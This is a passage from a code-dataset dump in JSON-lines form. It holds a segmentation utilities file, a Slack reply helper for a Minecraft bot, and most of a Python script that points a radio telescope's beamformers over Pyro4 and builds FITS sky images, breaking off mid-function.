and predicted mask images.\r\n Used to visualize the results of multiple images after running\r\n inference.\r\n\r\n Args:\r\n model: (torchvision.models)\r\n the model to use to run inference\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n images = []\r\n pair_directories = [op.join(data_path, 'train/iid000183'),\r\n op.join(data_path, 'train/iid000657'),\r\n op.join(data_path, 'train/iid000499'),\r\n op.join(data_path, 'train/iid001092')]\r\n brown = [139, 69, 19]\r\n dark_green = [0, 100, 0]\r\n forest_green = [34, 139, 34]\r\n sky = [0, 0, 255]\r\n gray = [211, 211, 211]\r\n red = [255, 0, 0]\r\n green = [0, 255, 0]\r\n white = [255, 255, 255]\r\n colors = torch.as_tensor([white, green, brown, gray, forest_green, red,\r\n dark_green, sky])\r\n colors = (colors).numpy().astype(\"uint8\")\r\n for i in range(4):\r\n image_mask_pair = glob.glob(pair_directories[i] + '/*')\r\n path1, path2 = image_mask_pair\r\n mask = Image.open(path1)\r\n mask = np.array(mask.convert('RGB'))\r\n image = Image.open(path2)\r\n seg_map = run_inference(model, image)\r\n seg_map.putpalette(colors)\r\n seg_map = seg_map.convert('RGB')\r\n seg_map = np.array(seg_map)\r\n images = images + [image, mask, seg_map]\r\n plt.figure(figsize=(10, 10))\r\n col = ['Original', 'Mask', 'Ours']\r\n for i in range(len(images)):\r\n ax = plt.subplot(4, 3, i+1)\r\n if i < 3:\r\n ax.set_title(col[i])\r\n plt.imshow(images[i])\r\n plt.axis(\"off\")\r\n plt.subplots_adjust(wspace=.01, hspace=-0.6)\r\n # plt.savefig('sample.png', bbox_inches=0, transparent=\"True\",\r\n # pad_inches=0)\r\n\r\n\r\ndef run_inference(model, image):\r\n \"\"\" Runs inference on a single image with the given model\r\n\r\n Args:\r\n model: (torchvision.models)\r\n the model to use\r\n image: (np.ndarray)\r\n the image to use\r\n\r\n Returns:\r\n (Image) the segmentation map predicted by the model\r\n \"\"\"\r\n # apply the same transforms that were applied to input images when training the model\r\n preprocess = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\r\n ])\r\n input_tensor = preprocess(image)\r\n # put the image in a batch (as expected by the model)\r\n input_batch = input_tensor.unsqueeze(0)\r\n # move the input and model to GPU for speed if available\r\n if torch.cuda.is_available():\r\n input_batch = input_batch.to('cuda')\r\n model.to('cuda')\r\n with torch.no_grad():\r\n output = model(input_batch)['out'][0]\r\n output_predictions = output.argmax(0)\r\n if isinstance(image, np.ndarray):\r\n return Image.fromarray(output_predictions.byte().cpu().numpy()).resize((image.shape[1], image.shape[0]))\r\n return Image.fromarray(output_predictions.byte().cpu().numpy()).resize(image.size)\r\n\r\n\r\ndef save_video(frames: list, outfile_path: str) -> None:\r\n \"\"\" Saves a list of frames to a video file.\r\n\r\n Args:\r\n frames: list\r\n List of frames to process into a video\r\n outfile_path: str\r\n Path to write the video to\r\n \"\"\"\r\n h, w, *_ = frames[0].shape\r\n outfile = cv2.VideoWriter(outfile_path, -1, 30, (w, h))\r\n for frame in frames:\r\n outfile.write(frame)\r\n outfile.release()\r\n","repo_name":"nmhaddad/semantic-segmentation","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9804,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"16988941548","text":"import json\n\n\ndef respond(text: str, quiet: bool = False):\n return {\n \"statusCode\": \"200\",\n \"body\": json.dumps(\n {\n \"response_type\": \"ephemeral\" if quiet else \"in_channel\",\n \"blocks\": [\n {\n \"type\": \"section\",\n \"text\": {\"type\": \"mrkdwn\", \"text\": text},\n }\n ],\n }\n ).encode(\"utf8\"),\n \"headers\": {\n \"Content-Type\": \"application/json\",\n },\n }\n","repo_name":"bbstilson/minecraft-server","sub_path":"lambdas/minecraft_server_bot/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16743957873","text":"#!/usr/bin/env python\n\n\"\"\"Command line utility to control EDA, via Pyro4 remote procedure calls to the two\n Raspberry Pi computers doing MWA beamformer control (with 8 beamformers each) and\n one Raspberry Pi controlling the Kaelus beamformer.\n\n This code needs to know:\n -The telescope coordinates (latitude/longitude/height), defined in the MWAPOS global variable below.\n -The IP addresses of the two Raspberry Pi's inside the first-stage beamformer control boxes (eda1com and eda2com),\n defined in the BURLS global variable below.\n -The IP address of the Raspberry Pi that controls the Kaelus beamformer, defined in the KURL global variable below.\n\"\"\"\n\nimport datetime\nimport glob\nimport optparse\nimport os\nimport subprocess\nimport sys\nimport time\nimport warnings\n\nwarnings.simplefilter(action='ignore')\n\nfrom astropy.io import fits\n\nimport numpy\n\nimport Pyro4\n\nimport astropy\nimport astropy.time\nimport astropy.units\nfrom astropy.time import Time\nfrom astropy.coordinates import SkyCoord, EarthLocation\n\n# Telescope coordinates\nMWAPOS = EarthLocation.from_geodetic(lon=\"116:40:14.93\", lat=\"-26:42:11.95\", height=377.8)\n\nkproxy = None\nbfproxies = {}\n\nsys.excepthook = Pyro4.util.excepthook\nPyro4.config.DETAILED_TRACEBACK = True\n\n\"\"\"\n Tests EDA by pointing it around the zenith, without the need for scheduled MWA observations\n\"\"\"\n\nHEXD = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']\n\nMAXAGE = 60\n\n# Change the IP addresses in these URLs to the right ones on the local network.\nKURL = 'PYRO:Kaelus@10.128.2.51:19987'\nBURLS = {'eda1com':'PYRO:eda1com@10.128.2.63:19987', 'eda2com':'PYRO:eda2com@10.128.2.65:19987'}\n\n# NUMLOOPS = 80 # 12 hours worth of pointings\nELS = [-19, -15, -10, -5, 0, 5, 10, 15, 19]\n\nNUMLOOPS = 5 # 12 hours worth of pointings\nAZELS = [(0.0, 71.0), (0.0, 72.0), (0.0, 73.0), (0.0, 74.0), (0.0, 75.0), (0.0, 76.0), (0.0, 77.0), (0.0, 78.0),\n (0.0, 79.0), (0.0, 80.0),\n (0.0, 81.0), (0.0, 82.0), (0.0, 83.0), (0.0, 84.0), (0.0, 85.0), (0.0, 86.0), (0.0, 87.0), (0.0, 88.0),\n (0.0, 89.0), (0.0, 90.0),\n (180.0, 89.0), (180.0, 88.0), (180.0, 87.0), (180.0, 86.0), (180.0, 85.0), (180.0, 84.0), (180.0, 83.0),\n (180.0, 82.0), (180.0, 81.0), (180.0, 80.0),\n (180.0, 79.0), (180.0, 78.0), (180.0, 77.0), (180.0, 76.0), (180.0, 75.0), (180.0, 74.0), (180.0, 73.0),\n (180.0, 72.0), (180.0, 71.0), (180.0, 70.0)]\n\nTILEID = 0\n\nif sys.version_info.major == 2:\n HOSTNAME = subprocess.check_output(['hostname', '-A'], shell=False).split('.')[0].strip()\nelse:\n HOSTNAME = subprocess.check_output(['hostname', '-A'], shell=False).decode('UTF-8').split('.')[0].strip()\n\nBIGDAS = 'bigdas' in HOSTNAME # True if we are running on bigdas\n\n\ndef point_azel(az=0.0, el=0.0, delay=3):\n \"\"\"\n Given an az/el and a delay in seconds, send network commands to point the EDA at the given az/el.\n\n :param az: Azimuth in degrees\n :param el: Elevation in degrees\n :param delay: Delay in seconds, for the remote client to wait before sending the new pointing to the beamformers.\n \"\"\"\n print(\"Time %10.4f Pointing at az/el: %6.2f, %6.2f\" % (time.time(), az, el))\n stime = int(time.time() + delay)\n values = {TILEID:{'X':(None, None, az, el, None),\n 'Y':(None, None, az, el, None)\n }\n }\n kproxy.notify(obsid=0, starttime=stime, stoptime=stime + 8, clientid='Kaelus', rclass='pointing', values=values)\n for clientid, proxy in bfproxies.items():\n proxy.notify(obsid=0, starttime=stime, stoptime=stime + 8, clientid=clientid, rclass='pointing', values=values)\n\n\ndef calc_azel(ra=0.0, dec=0.0):\n \"\"\"\n Takes RA and DEC in degrees, and calculates Az/El of target at the current time\n\n :param ra: Right Ascension (J2000) in degrees\n :param dec: Declination (J2000) in degrees\n :return: A tuple of (azimuth, elevation) in degrees\n \"\"\"\n coords = SkyCoord(ra=ra, dec=dec, equinox='J2000', unit=(astropy.units.deg, astropy.units.deg))\n now = Time.now()\n coords.location = MWAPOS\n coords.obstime = now\n cpos = coords.transform_to('altaz')\n return cpos.az.deg, cpos.alt.deg\n\n\ndef calc_radec(az=0.0, el=90.0):\n \"\"\"\n Takes Azimuth and Elevation in degrees, and calculates RA/Dec of target at the current time\n\n :param az: Azimuth in degrees\n :param el: Elevation in degrees\n :return: A tuple of (ra, dec) in degrees (J2000)\n \"\"\"\n coords = SkyCoord(alt=el, az=az, unit=(astropy.units.deg, astropy.units.deg), frame='altaz', location=MWAPOS,\n obstime=Time.now())\n return coords.icrs.ra.deg, coords.icrs.dec.deg\n\n\ndef point_radec(ra=0.0, dec=0.0):\n \"\"\"\n Given RA and DEC (J2000) in degrees, send commands the point the EDA at that position\n :param ra: Right Ascension (J2000) in degrees\n :param dec: Declination (J2000) in degrees\n \"\"\"\n az, el = calc_azel(ra=ra, dec=dec)\n point_azel(az=az, el=el)\n\n\ndef track_radec(ra=0.0, dec=0.0, interval=120, total_track_time=31536000):\n \"\"\"\n Given an RA/Dec, a tracking time, and a re-pointing interval, sesnd repeated pointing commands to follow\n that RA/Dec until the end of the desired tracking time, then return.\n\n :param ra: Right Ascension (J2000) in degrees\n :param dec: Declination (J2000) in degrees\n :param interval: Number of seconds to wait between re-pointing the telescope.\n :param total_track_time: How many seconds to track for before the function returns.\n \"\"\"\n start_ux = time.time()\n end_ux = start_ux + total_track_time\n\n while time.time() <= end_ux:\n az, el = calc_azel(ra=ra, dec=dec)\n point_azel(az=az, el=el)\n time.sleep(interval)\n\n\ndef dopoint(az=0.0, el=90.0, ra=None, dec=None):\n \"\"\"Jump to the coordinates given. Calculate az/el if given ra/dec,\n if both given then use az/el.\n\n :param ra: Right Ascension (J2000) in degrees, or None\n :param dec: Declination (J2000) in degrees, or None\n :param az: Azimuth in degrees, or None\n :param el: Elevation in degrees, or None\n \"\"\"\n if az is None or el is None:\n if ra is not None and dec is not None:\n print(\"Time %10.4f pointing at calculated ra=%6.2f, dec=%6.2f\" % (time.time(), ra, dec))\n point_radec(ra=ra, dec=dec)\n else:\n print(\"No valid coordinates, not pointing!\")\n return\n else:\n print(\"Time %10.4f pointing at az=%6.2f, el=%6.2f\" % (time.time(), az, el))\n point_azel(az=az, el=el)\n\n\ndef start_tracking():\n \"\"\"\n Start following the MWA observations.\n \"\"\"\n kproxy.start_tracking()\n for clientid, proxy in bfproxies.items():\n proxy.start_tracking()\n\n\ndef stop_tracking():\n \"\"\"\n Stop following the MWA observations.\n \"\"\"\n kproxy.stop_tracking()\n for clientid, proxy in bfproxies.items():\n proxy.stop_tracking()\n\n\ndef is_tracking():\n \"\"\"\n Returns True if we are following MWA observations, False otherwise.\n \"\"\"\n kstat = kproxy.get_status()\n istracking, onlybfs, cpos, tileid, lastpointing = kstat\n return istracking\n\n\ndef print_status():\n sdict = {}\n sdict['kaelus'] = kproxy.get_status()\n for clientid, proxy in bfproxies.items():\n sdict[clientid] = proxy.get_status()\n\n clients = list(sdict.keys())\n clients.sort()\n cdata = []\n for clientid in clients:\n status = sdict[clientid]\n istracking, onlybfs, cpos, tileid, lastpointing = status\n starttime, obsid, ra, dec, az, el, delays, offcount, ok = lastpointing\n cdata.append((starttime, obsid, onlybfs, cpos, tileid))\n if offcount is not None:\n numdipoles = 256 - offcount\n else:\n numdipoles = 0\n if onlybfs is not None:\n withstring = 'with only MWA beamformers: %s ' % onlybfs\n else:\n withstring = ''\n if cpos != (0.0, 0.0, 0.0):\n withstring += 'with delay centre of %s' % str(cpos)\n print(clientid)\n print(\" Tracking MWA: %s %s\" % (istracking, withstring))\n if starttime is None:\n print(\"No pointing since startup.\")\n else:\n if clientid != 'kaelus':\n print(\" Last pointing at time %s (obsid=%d): ra=%s, dec=%s, az=%s, el=%s, with %d enabled dipoles\" % (time.ctime(starttime), obsid, ra, dec, az, el, numdipoles))\n else:\n print(\" Last pointing at time %s (obsid=%d): ra=%s, dec=%s, az=%s, el=%s\" % (time.ctime(starttime), obsid, ra, dec, az, el))\n\n\ndef getdata():\n \"\"\"Returns a numpy array containing the most recently written EDA spectrum.\n Return None,None if the most recent file is older than MAXAGE seconds.\n\n NOTE - this will only work when run on 'bigdas', where live spectrum data is written to /tmp every second.\n \"\"\"\n if not BIGDAS:\n return None, None # Can only access live spectra on bigdas\n flist = glob.glob('/tmp/livespec_??.fits')\n fdict = {}\n for fname in flist:\n fdict[os.path.getmtime(fname)] = fname\n tlist = list(fdict.keys())\n tlist.sort()\n dtime = tlist[-1]\n fname = fdict[dtime]\n if (time.time() - dtime) > MAXAGE:\n return None, None # All files are too old\n\n tries = 0\n done = False\n data = None\n while tries < 10 and not done:\n try:\n f = fits.open(fname)\n data = f[0].data\n done = True\n except:\n tries += 1\n time.sleep(0.1)\n if done:\n return data, dtime\n else:\n return None, None\n\n\ndef dostripes():\n \"\"\"\n NOTE - this will only work when run on 'bigdas', where live spectrum data is written to /tmp every second.\n :return:\n \"\"\"\n xarray = []\n yarray = []\n for elindex in range(len(ELS)):\n xarray[elindex] = numpy.zeros(shape=(NUMLOOPS * 8, 32768))\n yarray[elindex] = numpy.zeros(shape=(NUMLOOPS * 8, 32768))\n\n allxarray = numpy.zeros(shape=(NUMLOOPS * len(ELS) * 8, 32768))\n # Loop over all the dipoles to test, one by one:\n for loopnum in range(NUMLOOPS):\n for elindex in range(len(ELS)):\n print(\"loop %d, Testing dipole elevation %d\" % (loopnum + 1, ELS[elindex]))\n point_azel(az=0.0, el=ELS[elindex])\n\n time.sleep(60)\n if BIGDAS:\n data, dtime = getdata()\n if (time.time() - dtime) > 4:\n print(\"Stale data found - %5.2f seconds.\" % (time.time() - dtime))\n\n xarray[elindex][loopnum * 8:loopnum * 8 + 7] = data[0]\n yarray[elindex][loopnum * 8:loopnum * 8 + 7] = data[1]\n\n index = (loopnum * len(ELS) + elindex) * 8\n allxarray[index:index + 7] = data[0]\n\n if BIGDAS:\n for elindex in range(len(ELS)):\n now = time.ctime()\n hdu = fits.PrimaryHDU()\n hdu.data = xarray[elindex]\n hdu.header['TELESCOP'] = \"EDA dipole test\"\n hdu.header['DATE'] = now\n hdu.writeto('/tmp/edatest%02d_X.fits' % ELS[elindex], clobber=True)\n\n hdu = fits.PrimaryHDU()\n hdu.data = yarray[elindex]\n hdu.header['TELESCOP'] = \"EDA dipole test\"\n hdu.header['DATE'] = now\n hdu.writeto('/tmp/edatest%02d_Y.fits' % ELS[elindex], clobber=True)\n\n now = time.ctime()\n hdu = fits.PrimaryHDU()\n hdu.data = allxarray\n hdu.header['TELESCOP'] = \"EDA dipole test\"\n hdu.header['DATE'] = now\n hdu.writeto('/tmp/edatest_AllX.fits', clobber=True)\n\n\ndef freqbin(indat=None):\n \"\"\"Takes a numpy array (shape=(32768,)) and sums groups of 128 channels to\n produce an output array of shape (256,)\n \"\"\"\n odat = numpy.zeros(shape=(256,), dtype=numpy.float32)\n for i in range(256):\n odat[i] = indat[(i * 128):(i * 128 + 128)].sum()\n odat.shape = (256, 1, 1)\n return odat\n\n\ndef doimage(redfreq=95, greenfreq=160, bluefreq=200, bw=10, rdelay=1, cube=False):\n \"\"\"Produce an image in three bands (called 'red', 'green' and 'blue') centred on the\n frequencies given in MHz. Each band is 'bw' MHz wide.\n\n The image is formed by sweeping over all the azimith/elevation values in the AZEL\n global, forming a line at the meridian from 71 degrees elevation due North to\n 70 degrees elevation due South. These 40 pointings (1 degree apart) are timed to\n take exactly 4 minutes to complete, in which time the sky moves West by 1 degree,\n so each pointing represents a 1-degree square on the sky.\n\n For each pointing, a full-spectrum capture from the signatec card is recorded, and\n three chunks (centred on redfreq, greenfreq and bluefred MHz, with a width of 'bw'\n MHz) are averaged and recorded as single pixel values in separate red, green, and\n blue output arrays.\n\n The rdelay value specifies how many pointings behind the actual telescope position\n the last data values are, when read.\n\n NOTE - this will only work when run on 'bigdas', where live spectrum data is written to /tmp every second.\n \"\"\"\n if not BIGDAS:\n print(\"Needs to run on 'bigdas' host, exiting\")\n return\n if cube:\n cubearray = numpy.zeros(shape=(256, len(AZELS) * 8, NUMLOOPS * 8))\n else:\n redarray = numpy.zeros(shape=(len(AZELS) * 8, NUMLOOPS * 8))\n greenarray = numpy.zeros(shape=(len(AZELS) * 8, NUMLOOPS * 8))\n bluearray = numpy.zeros(shape=(len(AZELS) * 8, NUMLOOPS * 8))\n redind, greenind, blueind = redfreq * 100, greenfreq * 100, bluefreq * 100 # Convert frequencies in MHz to channel numbers\n bw2 = bw * 100 / 2 # Convert bandwidth in MHz to half-bandwidth in channels\n exiting = False\n looptime = time.time()\n starttime = looptime\n coordlist = [(0, 0)] * 3 # Initialise a list of pixel coords, with a few dummy values\n ras = {}\n decs = {}\n for loopnum in range(NUMLOOPS):\n ras[loopnum] = []\n now = time.time()\n print(\"Starting loop %d at %d after %6.2f seconds\" % (loopnum + 1, now, now - looptime))\n looptime = now\n for pindex in range(len(AZELS)):\n decs[pindex] = []\n az, el = AZELS[pindex]\n print(\" loop %d, testing az/el %d,%d\" % (loopnum + 1, az, el))\n point_azel(az=az, el=el, delay=1)\n ra, dec = calc_radec(az=az, el=el)\n ras[loopnum].append(ra)\n decs[pindex].append(dec)\n\n time.sleep(\n 4.075) # Hand-tuned to result in a 4-minute time to complete 40 az/el pointings one degree apart in dec.\n data, dtime = getdata() # 4 seconds isn't enough time to wait, use this data read for some previous coordinate's data value.\n if data is None:\n print(\"Can't get data file, exiting loop\")\n exiting = True\n break\n\n if (time.time() - dtime) > 4:\n print(\"Stale data found - %5.2f seconds.\" % (time.time() - dtime))\n exiting = True\n break\n\n coordlist.append((loopnum, pindex)) # Push the current pointing coords onto the end of the list\n lln, lpin = coordlist[-rdelay] # The last data value we read corresponds to the last pointing, not this one\n if cube:\n cubearray[:, lpin * 8:lpin * 8 + 8, lln * 8:lln * 8 + 8] = freqbin(data[0])\n else:\n redarray[lpin * 8:lpin * 8 + 8, lln * 8:lln * 8 + 8] = data[0][redind - bw2: redind + bw2].sum()\n greenarray[lpin * 8:lpin * 8 + 8, lln * 8:lln * 8 + 8] = data[0][greenind - bw2: greenind + bw2].sum()\n bluearray[lpin * 8:lpin * 8 + 8, lln * 8:lln * 8 + 8] = data[0][blueind - bw2: blueind + bw2].sum()\n\n tstart = datetime.datetime.fromtimestamp(starttime).isoformat()\n tend = datetime.datetime.fromtimestamp(time.time()).isoformat()\n hdu = fits.PrimaryHDU()\n hdu.header['TELESCOP'] = \"EDA dipole test\"\n hdu.header['TSTART'] = tstart\n hdu.header['TEND'] = tend\n\n rastartmean = sum(ras[0]) / len(ras[0])\n rastartmax = max(ras[0])\n rastartmin = min(ras[0])\n raendmean = sum(ras[max(ras.keys())]) / len(ras[max(ras.keys())])\n raendmax = max(ras[max(ras.keys())])\n raendmin = min(ras[max(ras.keys())])\n if raendmean > rastartmean:\n raem = raendmean\n else:\n raem = raendmean + 360.0\n racenter = (rastartmean + raem) / 2\n if racenter > 360:\n racenter -= 360\n\n decstartmean = sum(decs[0]) / len(decs[0])\n decstartmax = max(decs[0])\n decstartmin = min(decs[0])\n decendmean = sum(decs[max(decs.keys())]) / len(decs[max(decs.keys())])\n decendmax = max(decs[max(decs.keys())])\n decendmin = min(decs[max(decs.keys())])\n\n hdu.header['RASTART'] = rastartmean\n hdu.header['RASSPAN'] = rastartmax - rastartmin\n hdu.header['RAESPAN'] = raendmax - raendmin\n hdu.header['RAEND'] = raendmean\n hdu.header['DECSTART'] = decstartmean\n hdu.header['DECSSPAN'] = decstartmax - decstartmin\n hdu.header['DECESPAN'] = decendmax - decendmin\n hdu.header['DECEND'] = decendmean\n\n hdu.header['EQUINOX'] = 2000\n hdu.header['CRPIX2'] = int(8 * len(AZELS) / 2)\n hdu.header['CRVAL2'] = (decstartmean + decendmean) / 2 # Centre DEC value\n hdu.header['CRPIX1'] = int(8 * (loopnum + 1) / 2)\n hdu.header['CRVAL1'] = racenter # Centre RA value, allowing for 0/360 wrap during drift scan\n hdu.header[\n 'CDELT2'] = -0.125 # (decstartmean - decendmean) / int(8 * len(AZELS)) # Each degree is an 8x8 pixel square, so each pixel is ~ 1/8th of a degree\n hdu.header['CDELT1'] = 0.125 # (rastartmean - raendmean) / int(8 * (loopnum + 1))\n hdu.header['CTYPE2'] = 'DEC'\n hdu.header['CUNIT2'] = 'deg'\n hdu.header['CTYPE1'] = 'RA'\n hdu.header['CUNIT1'] = 'deg'\n hdu.header['RADESYS'] = 'ICRS'\n\n if cube:\n hdu.header['CRPIX3'] = 128\n hdu.header['CRVAL3'] = 163.84\n hdu.header['CDELT3'] = 1.28\n hdu.header['CTYPE3'] = 'FREQ'\n hdu.header['CUNIT3'] = 'MHz'\n hdu.data = cubearray\n hdu.writeto('/tmp/eda_cube.fits', clobber=True)\n else:\n hdu.data = redarray\n hdu.header['FREQS'] = \"%5.1fMHz - %5.1fMHz\" % (redfreq - bw / 2.0, redfreq + bw / 2.0)\n hdu.writeto('/tmp/eda_image_R.fits', clobber=True)\n\n hdu.data = greenarray\n hdu.header['FREQS'] = \"%5.1fMHz - %5.1fMHz\" % (greenfreq - bw / 2.0, greenfreq + bw / 2.0)\n hdu.writeto('/tmp/eda_image_G.fits', clobber=True)\n\n hdu.data = bluearray\n hdu.header['FREQS'] = \"%5.1fMHz - %5.1fMHz\" % (bluefreq - bw / 2.0, bluefreq + bw / 2.0)\n hdu.writeto('/tmp/eda_image_B.fits', clobber=True)\n\n if exiting:\n break\n\n for coordindex in range(rdelay + 1,\n 0): # Keep in going until we've written data into the array for every pointing we did\n time.sleep(6)\n data, dtime = getdata()\n if data is None:\n print(\"Can't get data file\")\n return\n\n if (time.time() - dtime) > 4:\n print(\"Stale data - %5.2f seconds.\" % (time.time() - dtime))\n return\n\n lln, lpin = coordlist[coordindex]\n if cube:\n cubearray[:, lpin * 8:lpin * 8 + 8, lln * 8:lln * 8 + 8] = freqbin(data[0])\n else:\n redarray[lpin * 8:lpin * 8 + 8, lln * 8:lln * 8 + 8] = data[0][redind - bw2: redind + bw2].sum()\n greenarray[lpin * 8:lpin * 8 + 8, lln * 8:lln * 8 + 8] = data[0][greenind - bw2: greenind + bw2].sum()\n bluearray[lpin * 8:lpin * 8 + 8, lln * 8:lln * 8 + 8] = data[0][blueind - bw2: blueind + bw2].sum()\n\n tstart = datetime.datetime.fromtimestamp(starttime).isoformat()\n tend = datetime.datetime.fromtimestamp(time.time()).isoformat()\n hdu = fits.PrimaryHDU()\n hdu.header['TELESCOP'] = \"EDA dipole test\"\n hdu.header['TSTART'] = tstart\n hdu.header['TEND'] = tend\n\n rastartmean = sum(ras[0]) / len(ras[0])\n rastartmax = max(ras[0])\n rastartmin = min(ras[0])\n raendmean = sum(ras[max(ras.keys())]) / len(ras[max(ras.keys())])\n raendmax = max(ras[max(ras.keys())])\n raendmin = min(ras[max(ras.keys())])\n if raendmean > rastartmean:\n raem = raendmean\n else:\n raem = raendmean + 360.0\n racenter = (rastartmean + raem) / 2\n if racenter > 360:\n racenter -= 360\n\n decstartmean = sum(decs[0]) / len(decs[0])\n decstartmax = max(decs[0])\n decstartmin = min(decs[0])\n decendmean = sum(decs[max(decs.keys())]) / len(decs[max(decs.keys())])\n decendmax = max(decs[max(decs.keys())])\n decendmin = min(decs[max(decs.keys())])\n\n hdu.header['RASTART'] = rastartmean\n hdu.header['RASSPAN'] = rastartmax - rastartmin\n hdu.header['RAESPAN'] = raendmax - raendmin\n hdu.header['RAEND'] = raendmean\n hdu.header['DECSTART'] = decstartmean\n hdu.header['DECSSPAN'] = decstartmax - decstartmin\n hdu.header['DECESPAN'] = decendmax - decendmin\n hdu.header['DECEND'] = decendmean\n\n hdu.header['EQUINOX'] = 2000\n hdu.header['CRPIX2'] = int(8 * len(AZELS) / 2)\n hdu.header['CRVAL2'] = (decstartmean + decendmean) / 2 # Centre DEC value\n hdu.header['CRPIX1'] = int(8 * NUMLOOPS / 2)\n hdu.header['CRVAL1'] = racenter # Centre RA value, allowing for 0/360 wrap during drift scan\n hdu.header[\n 'CDELT2'] = -0.125 # (decstartmean - decendmean) / int(8 * len(AZELS)) # Each degree is an 8x8 pixel square, so each pixel is ~ 1/8th of a degree\n hdu.header['CDELT1'] = 0.125 # (rastartmean - raendmean) / int(8 * (NUMLOOPS + 1))\n hdu.header['CTYPE2'] = 'DEC'\n hdu.header['CUNIT2'] = 'deg'\n hdu.header['CTYPE1'] = 'RA'\n hdu.header['CUNIT1'] = 'deg'\n hdu.header['RADESYS'] = 'ICRS'\n\n if cube:\n hdu.header['CRPIX3'] = 128\n hdu.header['CRVAL3'] = 163.84\n hdu.header['CDELT3'] = 1.28\n hdu.header['CTYPE3'] = 'FREQ'\n hdu.header['CUNIT3'] = 'MHz'\n hdu.data = cubearray\n hdu.writeto('/tmp/eda_cube.fits', clobber=True)\n else:\n hdu.data = redarray\n hdu.header['FREQS'] = \"%5.1fMHz - %5.1fMHz\" % (redfreq - bw / 2.0, redfreq + bw / 2.0)\n hdu.writeto('/tmp/eda_image_R.fits', clobber=True)\n\n hdu.data = greenarray\n hdu.header['FREQS'] = \"%5.1fMHz - %5.1fMHz\" % (greenfreq - bw / 2.0, greenfreq + bw / 2.0)\n hdu.writeto('/tmp/eda_image_G.fits', clobber=True)\n\n hdu.data = bluearray\n hdu.header['FREQS'] = \"%5.1fMHz - %5.1fMHz\" % (bluefreq - bw / 2.0, bluefreq + bw / 2.0)\n hdu.writeto('/tmp/eda_image_B.fits', clobber=True)\n\n\ndef zenith_sweep():\n print(\"Zenith sweep, looping forever, ^C to exit\")\n while True:\n for pindex in range(len(AZELS)):\n starttime = time.time()\n az, el = AZELS[pindex]\n print(\" Testing az/el %d,%d\" % (az, el))\n point_azel(az=az, el=el)\n time.sleep(starttime + 6.0 - time.time())\n\n\ndef domwagaintest():\n \"\"\"Sweep the MWA (1st stage) BF's through delays of 0,1,2,4,8,16 and collect power data to see the\n relation between MWA BF delay line used, and output power. Keep the Kaelus delays the same.\n\n Note that edacom.py adds 16 to the delays it receives, so we need to send -16, -15, -14, -12, -8, and 0\n\n NOTE - this will only work when run on 'bigdas', where live spectrum data is written to /tmp every second.\n \"\"\"\n HEXD = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']\n RAWDELAYS = [0, 1, 2, 4, 8, 16]\n\n if BIGDAS:\n gainarrayx = numpy.zeros(shape=(NUMLOOPS, 6, 32768))\n gainarrayy = numpy.zeros(shape=(NUMLOOPS, 6, 32768))\n zarray = numpy.zeros(shape=(2, 32768))\n\n delays = {}\n for b in HEXD:\n delays[b] = {}\n for d in HEXD:\n delays[b][d] = -16 # An offset of 16 is added to all delays, so this will become 0 (disabled)\n delays['K'] = {} # An extra beamformer delay dict is added for the Kaelus beamformer (2nd stage)\n for d in HEXD:\n delays['K'][d] = -128 # An offset of 128 is added to all delays, so this will become 0\n\n print(\"Setting raw Kaelus delays to 0\")\n stime = int(time.time() + 1)\n values = {253:{'X':(None, None, 0.0, 0.0, delays),\n 'Y':(None, None, 0.0, 0.0, delays)\n }\n }\n try:\n kproxy.notify(obsid=0, starttime=stime, stoptime=stime + 8, clientid='Kaelus', rclass='pointing', values=values)\n except AssertionError:\n print(\"Pointing error - aborting\")\n return\n\n print(\"Starting run of %d loops.\" % NUMLOOPS)\n for loop in range(NUMLOOPS):\n print(\" %10.4f: Starting loop %d\" % (time.time(), loop))\n for bit in range(6):\n for b in HEXD:\n for d in HEXD:\n delays[b][d] = RAWDELAYS[bit] - 16 # An offset of 16 is added to all delays in edacom.py\n print(\" %10.4f: Setting MWA raw delays to %d\" % (time.time(), RAWDELAYS[bit]))\n stime = int(time.time() + 1)\n values = {253:{'X':(None, None, 0.0, 0.0, delays),\n 'Y':(None, None, 0.0, 0.0, delays)\n }\n }\n try:\n for clientid, proxy in bfproxies.items():\n proxy.notify(obsid=0, starttime=stime, stoptime=stime + 8, clientid=clientid, rclass='pointing',\n values=values)\n except AssertionError:\n print(\"Pointing error - aborting\")\n return\n\n time.sleep(8)\n\n if BIGDAS:\n data, dtime = getdata()\n if data is None:\n print(\"No data - aborting\")\n return\n if (time.time() - dtime) > 4:\n print(\"Stale data - aborting\")\n return\n if bit == 0:\n zarray = data\n gainarrayx[loop][bit] = data[0] / zarray[0]\n gainarrayy[loop][bit] = data[1] / zarray[1]\n\n if BIGDAS:\n gainx = numpy.median(gainarrayx, axis=0)\n gainy = numpy.median(gainarrayy, axis=0) # Median across all the loops, to get rid of RFI\n\n now = time.ctime()\n hdu = fits.PrimaryHDU()\n hdu.data = gainx\n hdu.header['TELESCOP'] = \"EDA MWA BF delay vs gain test\"\n hdu.header['DATE'] = now\n hdu.writeto('/tmp/eda_gain_stg1_x.fits', clobber=True)\n hdu.data = gainy\n hdu.writeto('/tmp/eda_gain_stg1_y.fits', clobber=True)\n\n\ndef dokaelusgaintest():\n \"\"\"Sweep the Kaelus (2nd stage) BF through delays of 0,1,2,4,8,16,32,64 and collect power data to see the\n relation between Kaelus delay line used, and output power. Keep the MWA delays the same.\n\n Note that kaeslave.py adds 128 to the delays it receives, so we need to send -128, -127, -126, -124, -120, etc\n\n NOTE - this will only work when run on 'bigdas', where live spectrum data is written to /tmp every second.\n \"\"\"\n HEXD = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']\n RAWDELAYS = [0, 1, 2, 4, 8, 16, 32, 64]\n\n if BIGDAS:\n gainarrayx = numpy.zeros(shape=(NUMLOOPS, 8, 32768))\n gainarrayy = 